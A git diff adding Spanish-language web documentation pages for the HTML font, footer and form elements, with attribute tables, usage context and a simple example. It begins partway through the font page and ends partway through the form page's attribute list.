+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#adef-size-FONT"><span style="color: green;">size</span></a></td>
+   <td>Tamaño de la fuente. Según una tabla del 1 al 7.</td>
+   <td>Un número entero (ej. 1), o un valor incremental (ej. +1). <s>Por defecto:</s> debe indicarlo el autor.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#adef-color-FONT"><span style="color: green;">color</span></a></td>
+   <td>El color del texto.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.5">color RGB</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#adef-face-FONT"><span style="color: green;">face</span></a></td>
+   <td>Especifica la/s fuentes para el texto.</td>
+   <td>Lista de nombres de fuentes separadas por coma. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_ejemplo_simple" name="Un_ejemplo_simple">Un ejemplo simple</h4>
+
+<p>código:</p>
+
+<pre class="eval">&lt;p&gt;
+ Texto normal y ...
+ &lt;<strong>font</strong> size="5" color="#0000ff"&gt; Texto distinto. &lt;/<strong>font</strong>&gt;
+&lt;/p&gt;
+</pre>
+
+<p>Resultado:</p>
+
+<div style="border: solid silver 1px;">
+<p>Texto normal y ... <font color="#0000ff" size="5"> Texto distinto. </font></p>
+</div>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/graphics.html#edef-FONT"><strong>font</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-font">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/footer/index.html b/files/es/web/html/elemento/footer/index.html
new file mode 100644
index 0000000000..fb29106abc
--- /dev/null
+++ b/files/es/web/html/elemento/footer/index.html
@@ -0,0 +1,71 @@
+---
+title: footer
+slug: Web/HTML/Elemento/footer
+tags:
+  - HTML5
+  - footer
+  - para_revisar
+translation_of: Web/HTML/Element/footer
+---
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">El <em>Elemento </em><em>HTML Footer</em> (<span style="font-family: 'Courier New';">&lt;footer&gt;</span>) representa un pie de página para el contenido de sección más cercano o el elemento  <a href="/en/Sections_and_Outlines_of_an_HTML5_document#sectioning_root" rel="internal" style="color: rgb(51, 102, 153); text-decoration: none;">raíz de sección</a> (p.e, su ancestro mas cercano <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/article" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;article&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/aside" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;aside&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/nav" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;nav&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/section" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;section&gt;</a></code>,<code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/blockquote" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;blockquote&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/body" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;body&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/details" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;details&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/fieldset" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;fieldset&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/figure" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;figure&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/td" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;td&gt;</a></code>). Un pie de página típicamente contiene información acerca de el autor de la sección, datos de derechos de autor o enlaces a documentos relacionados.</p>
+<p>&lt;meta http-equiv="content-type" content="text/html; charset=utf-8"/&gt;</p>
+<div class="note" style="margin-bottom: 1.286em; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-width: initial; border-top-width: 1px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; padding-top: 0.75em; padding-right: 15px; padding-bottom: 0.75em; padding-left: 15px; background-clip: initial; background-color: rgb(250, 249, 226); color: rgb(93, 86, 54);">
+ <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.75em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><strong>Notas de uso:</strong></p>
+ <ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 22px; list-style-type: disc;">
+  <li>Encierra la información acerca del autor en un elemento <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/address" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;address&gt;</a></code> que puede ser incluido dentro del elemento <span style="font-family: 'Courier New';">&lt;footer&gt;.</span></li>
+  <li>El  elemento <span style="font-family: 'Courier New';">&lt;footer&gt;</span> no es contenido de sección y en consecuencia no introduce una nueva sección en el <a href="/en/Sections_and_Outlines_of_an_HTML5_document" rel="internal" style="color: rgb(51, 102, 153); text-decoration: none;">esquema</a>.</li>
+ </ul>
+</div>
+<div id="section_1">
+ <h3 class="editable" id="Contexto_de_uso" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.8em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1.396em; font-family: Georgia, Times, 'Times New Roman', serif; border-bottom-width: 1px; border-bottom-style: solid;"><span>Contexto de uso</span></h3>
+ <div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; font-weight: normal; position: relative;">
+  <a href="/es/HTML/Elemento/footer#" style="color: rgb(51, 102, 153); text-decoration: none;" title="Editar sección"><span class="icon" style="height: 16px;"><img alt="Editar sección" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
+ <table class="fullwidth-table" style="border-collapse: collapse; margin-top: 0px; margin-right: 0px; margin-bottom: 1.5em; margin-left: 0px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; width: 1125px; background-clip: initial; background-color: rgb(255, 255, 255); height: 117px;">
+  <tbody>
+   <tr>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;">Contenido Permitido</td>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;"><a href="/en/HTML/Content_categories#flow_content" rel="internal" style="color: rgb(51, 102, 153); text-decoration: none;">Contenido de flujo</a>, pero sin descendientes  <span style="font-family: 'Courier New';">&lt;footer&gt;</span> o <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/header" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;header&gt;</a></code>.</td>
+   </tr>
+   <tr>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;">Omisión de Etiqueta</td>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;">Ninguna, tanto la etiqueta de inicio como la de cierre son obligatorias.</td>
+   </tr>
+   <tr>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;">Elementos ancestros permitidos</td>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;">
+     <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Cualquier elemento que acepte <a href="/en/HTML/Content_categories#flow_content" rel="internal" style="color: rgb(51, 102, 153); text-decoration: none;">contenido de flujo</a>. Note que un elemento <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;">&lt;footer&gt;</code> no debe ser un descendiente de los elementos <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/address" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;address&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/header" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;header&gt;</a></code> o de otro elemento <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;">&lt;footer&gt;</code>.</p>
+    </td>
+   </tr>
+   <tr>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;">Documento normativo</td>
+    <td style="padding-top: 5px; padding-right: 15px; padding-bottom: 5px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; text-align: left; vertical-align: top;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-footer-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-footer-element">HTML5, sección 4.4.9</a></td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="section_2">
+ <h3 class="editable" id="Atributos" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.8em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1.396em; font-family: Georgia, Times, 'Times New Roman', serif; border-bottom-width: 1px; border-bottom-style: solid;"><span>Atributos</span></h3>
+ <div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; font-weight: normal; position: relative;">
+  <a href="/es/HTML/Elemento/footer#" style="color: rgb(51, 102, 153); text-decoration: none;" title="Editar sección"><span class="icon" style="height: 16px;"><img alt="Editar sección" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
+ <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Este elemento no tiene otros atributos adicionales a los <a class="new " href="/en/HTML/global_attributes" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">atributos globales</a>, comunes a todos los elementos.</p>
+ <div id="section_3">
+  <div id="section_3">
+   <div id="section_3">
+    <h3 class="editable" id="Interfaz_DOM" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.8em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1.396em; font-family: Georgia, Times, 'Times New Roman', serif; border-bottom-width: 1px; border-bottom-style: solid;"><span>Interfaz DOM</span></h3>
+    <div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; font-weight: normal; position: relative;">
+     <a href="/es/HTML/Elemento/footer#" style="color: rgb(51, 102, 153); text-decoration: none;" title="Editar sección"><span class="icon" style="height: 16px;"><img alt="Editar sección" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
+    <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Este elemento implementa la interfaz <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a href="/en/DOM/element" rel="internal" style="color: rgb(51, 102, 153); text-decoration: none;">HTMLElement</a></code>.</p>
+   </div>
+   <div id="section_4">
+    <h3 class="editable" id="Vea_también" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0.8em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 1.396em; font-family: Georgia, Times, 'Times New Roman', serif; border-bottom-width: 1px; border-bottom-style: solid;"><span>Vea también</span></h3>
+    <div class="editIcon" style="display: inline; margin-left: 4px; font-size: inherit; font-weight: normal; position: relative;">
+     <a href="/es/HTML/Elemento/footer#" style="color: rgb(51, 102, 153); text-decoration: none;" title="Editar sección"><span class="icon" style="height: 16px;"><img alt="Editar sección" class="sectionedit" src="/skins/common/icons/icon-trans.gif"></span></a></div>
+    <ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 22px; list-style-type: disc;">
+     <li>Otros elementos relacionados con secciones: <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/body" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;body&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/nav" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;nav&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/article" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;article&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/aside" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;aside&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/h1" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;h1&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/h2" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;h2&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/h3" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;h3&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/h4" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;h4&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/h5" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;h5&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/h6" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;h6&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/hgroup" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;hgroup&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/header" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;header&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/section" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;section&gt;</a></code>, <code style="font-style: inherit; font-weight: inherit; font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;"><a class="new" href="/es/HTML/Element/address" rel="internal" style="color: rgb(153, 0, 0); text-decoration: none;">&lt;address&gt;</a></code>;</li>
+     <li class="last"><a class="deki-ns current" href="/en/Sections_and_Outlines_of_an_HTML5_document" rel="internal" style="color: rgb(51, 102, 153); text-decoration: none;">Secciones y esquemas de un documento HTML5</a>.</li>
+    </ul>
+   </div>
+  </div>
+ </div>
+</div>
+<p> </p>
diff --git a/files/es/web/html/elemento/form/index.html b/files/es/web/html/elemento/form/index.html
new file mode 100644
index 0000000000..d0ade4348c
--- /dev/null
+++ b/files/es/web/html/elemento/form/index.html
@@ -0,0 +1,198 @@
+---
+title: form
+slug: Web/HTML/Elemento/form
+translation_of: Web/HTML/Element/form
+---
+<h2 id="Resumen">Resumen</h2>
+<p>El elemento HTML form (<code>&lt;form&gt;</code>) representa una sección de un documento que contiene controles interactivos que permiten a un usuario enviar información a un servidor web.</p>
+<p>Es posible usar las pseudo-clasess de CSS <code><a href="/es/CSS/%3Avalid" rel="custom">:valid</a></code> e <code><a href="/es/CSS/%3Ainvalid" rel="custom">:invalid</a></code>  para darle estilos a un elemento form.</p>
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <td>Categorías de contenido</td>
+      <td><a href="/en/HTML/Content_categories#flow_content" title="/en/HTML/Content_categories#flow_content">Contenido dinámico</a></td>
+    </tr>
+    <tr>
+      <td>Contenido permitido</td>
+      <td><a href="/en/HTML/Content_categories#flow_content" title="/en/HTML/Content_categories#flow_content">Contenido dinámico</a>, pero sin contener elementos <code>&lt;form&gt;</code></td>
+    </tr>
+    <tr>
+      <td>Omisión de etiquetas</td>
+      <td>Ninguna, ambas, la etiqueta de apertura y cierre deben estar presentes</td>
+    </tr>
+    <tr>
+      <td>Normative document</td>
+      <td><a class="external" href="http://www.w3.org/TR/html5/forms.html#the-form-element" title="http://www.w3.org/TR/html5/forms.html#the-form-element">HTML5, section 4.10.3</a> (<a class="external" href="http://www.w3.org/TR/1999/REC-html401-19991224/interact/forms.html#h-17.3" title="http://www.w3.org/TR/1999/REC-html401-19991224/interact/forms.html#h-17.3">HTML4.01, section 17.3</a>)</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Atributos">Atributos</h2>
+<p>Como cualquier otro elemento HTML, este elemento soporta <a href="/en/HTML/Global_attributes" title="/en/HTML/Global_attributes">atributos globales</a></p>
+<dl>
+  <dt>
+    {{ htmlattrdef("accept") }} {{ HTMLVersionInline(4) }} {{ obsolete_inline() }}</dt>
+  <dd>
+    Una lista separada por comas de los tipos de contenido que el servidor acepta.<br>
+    <div class="note">
+      <p><strong>Nota de uso: </strong>este atributo ha sido removido en HTML5 y no debe ser usado. En su lugar, usar el atributo <strong><a href="/es/HTML/Element/Input#attr-accept" title="/en/HTML/Element/Input#attr-accept">accept</a></strong> del elemento específico {{ HTMLElement("input") }}.</p>
+    </div>
+  </dd>
+  <dt>
+    {{ htmlattrdef("accept-charset") }}</dt>
+  <dd>
+    Una lista de codificación de caracteres que el servidor acepta. La lista puede ser delimitada por espacios o comas. El navegador los usa en el orden en que cada uno son listados. Los valores por defecto es la cadena reservada "UNKNOWN", en tal caso la codificación corresponde a la codificación del documento conteniendo el elemento form.<br>
+    <p>HTML 4: En versiones anteriores de HTML, las diferentes codificaciones de caracteres pueden ser delimitadas por espacios o comas. Este no es más el caso en HTML5, donde sólo los espacios son correctos.</p>
+  </dd>
+  <dt>
+    {{ htmlattrdef("action") }}</dt>
+  <dd>
+    La URI de un programa que procesa la información enviada por medio del formulario. Este valor puede ser sobreescrito por un atributo {{ htmlattrxref("formaction", "button") }} en un {{ HTMLElement("button") }} o en el elemento{{ HTMLElement("input") }}.</dd>
+  <dt>
+    {{ htmlattrdef("autocomplete") }} {{ HTMLVersionInline(5) }}</dt>
+  <dd>
+    Indica cuales de los controles en este formulario puede tener sus valores automáticamente completados por el navegador. Esta configuración puede ser sobreescrita por un atributo <code>autocomplete</code> en un elemento que pertenezca al formulario:
+    <ul>
+      <li><span style="font-family: Courier New;">off</span>: El usuario debe ingresar explicitamente cada valor dentro de cada campo por cada uso, o el documento provee su propio método de autocompletado; el navegador no autocompleta las entradas.</li>
+      <li><span style="font-family: Courier New;">on</span>: El navegador puede completar automáticamente valores basados en lo que el usuario ha ingresado durante entradas previas al formulario.</li>
+    </ul>
+    <div class="note">
+      <p><strong>Nota:</strong> si se establece <code>autocomplete</code> a un valor de <code>off</code> en un formulario porque el documento provee su propio auto-completado entonces también se debería establecer  <code>autocomplete</code> al valor <code>off</code> para cada uno de los elementos de formulario <code>input</code> que el documento pueda autocompletar {{ anch("Notas para Google Chrome") }}.</p>
+    </div>
+  </dd>
+  <dt>
+    {{ htmlattrdef("enctype") }}</dt>
+  <dd>
+    Cuando el valor del atributo <code>method</code> es <span style="font-family: Courier New;">post</span>, este atributo es el  <a href="http://en.wikipedia.org/wiki/Mime_type" title="http://en.wikipedia.org/wiki/Mime_type">tipo MIME</a> del contenido que es usado para enviar el formulario al servidor.</dd>
+  <dd>
+    Los posibles valores son:
+    <ul>
+      <li><span style="font-family: Courier New;">application/x-www-form-urlencoded</span>: El valor por defecto si un atributo no está especificado.</li>
+      <li><span style="font-family: Courier New;">multipart/form-data</span>: Usar este valor si se está usando el elemento {{ HTMLElement("input") }} con el atributo <code>type</code> ajustado a "file".</li>
+      <li><span style="font-family: Courier New;">text/plain (HTML5)</span></li>
+    </ul>
+    <p>Este valor puede ser sobreescrito por un atributo{{ htmlattrxref("formenctype", "button") }}en un {{ HTMLElement("button") }} o un elemento {{ HTMLElement("input") }}.</p>
+  </dd>
+  <dt>
+    {{ htmlattrdef("method") }}</dt>
+  <dd>
+    El método <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616.html" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP</a> que el navegador usa para enviar el formulario. Valores posibles son:
+    <ul>
+      <li><span style="font-family: Courier New;">post</span>: Corresponde al <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.5">método POST</a> HTTP ; los datos del formulario son incluidos en el cuerpo del formulario y son enviados al servidor.</li>
+      <li><span style="font-family: Courier New;">get</span>: Corresponde al <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.3">método GET</a> HTTP; los datos del formulario son adjuntados a la URI del atributo  <code>action</code> , con un '?' como separador,  y la URI resultante es enviada al servidor. Use este método cuando el formulario no tiene efectos secundarios y contiene solo caracteres ASCII.</li>
+    </ul>
+    <p>Este valor puede ser sobreescrito por un atributo {{ htmlattrxref("formmethod", "button") }} en un  {{ HTMLElement("button") }} o elemento {{ HTMLElement("input") }}.</p>
+  </dd>
+  <dt>
+    {{ htmlattrdef("name") }}</dt>
+  <dd>
+    El nombre del formulario. En HTML4 ha quedado en desuso (debe usarse un <span style="font-family: Courier New;">id</span> en su lugar). Debe ser único entre los formularios en un documento y no una cadena vacia en HTML5.</dd>
+  <dt>
+    {{ htmlattrdef("novalidate") }} {{ HTMLVersionInline(5) }}</dt>
+  <dd>
+    Este atributo booleano indica que el formulario no es validado cuando es enviado. Si el atributo no existe {{ htmlattrxref("formnovalidate", "button") }} en un {{ HTMLElement("button") }} o en un elemento  {{ HTMLElement("input") }} que pertenece al formulario.</dd>
+  <dt>
+    {{ htmlattrdef("target") }}</dt>
+  <dd>
+    Un nombre o keyword indicando donde mostrar la respuesta que es recibida después de enviar el formulario. En HTML 4, este es el nombre de, o una palabra clave, para un marco. En HTML5, es un nombre de, o palabra clave para, un contexto de navegación (por ejemplo, tab, window o marco en línea). Las siguientes palabras clave tienen significados especiales:
+    <ul>
+      <li><span style="font-family: Courier New;">_self</span>: Carga la respuesta dentro del mismo frame HTML 4 (o en HTML5, contexto de navegación) como el marco actual. Este valor es por defecto si el atributo no es especificado.</li>
+      <li><span style="font-family: Courier New;">_blank</span>: Carga la respuesta dentro de una nueva ventana sin nombre en HTML 4 o un contexto de navegación en HTML5.</li>
+      <li><span style="font-family: Courier New;">_parent</span>: Carga la respuesta en el marco padre del marco actual en HTML 4 o en el contexto de navegación padre del marco actual en HTML5. Si no hay marco padre, esta opción se comporta de la misma manera que <span style="font-family: Courier New;">_self</span>.</li>
+      <li><span style="font-family: Courier New;">_top</span>: HTML 4: Carga la respuesta en toda la ventana original, cancelando otros marcos.  HTML5: Carga la respuesta en el contexto de navegación de más alto nivel (esto es, el contexto de navegación que es ancestro del actual, y no tiene padre). Si no hay padre, esta opción se comporta igual que <span style="font-family: Courier New;">_self</span>.</li>
+    </ul>
+    <p>HTML5: Este valor puede ser sobreescrito por un atributo {{ htmlattrxref("formtarget", "button") }} en un elemento {{ HTMLElement("button") }} o{{ HTMLElement("input") }}.</p>
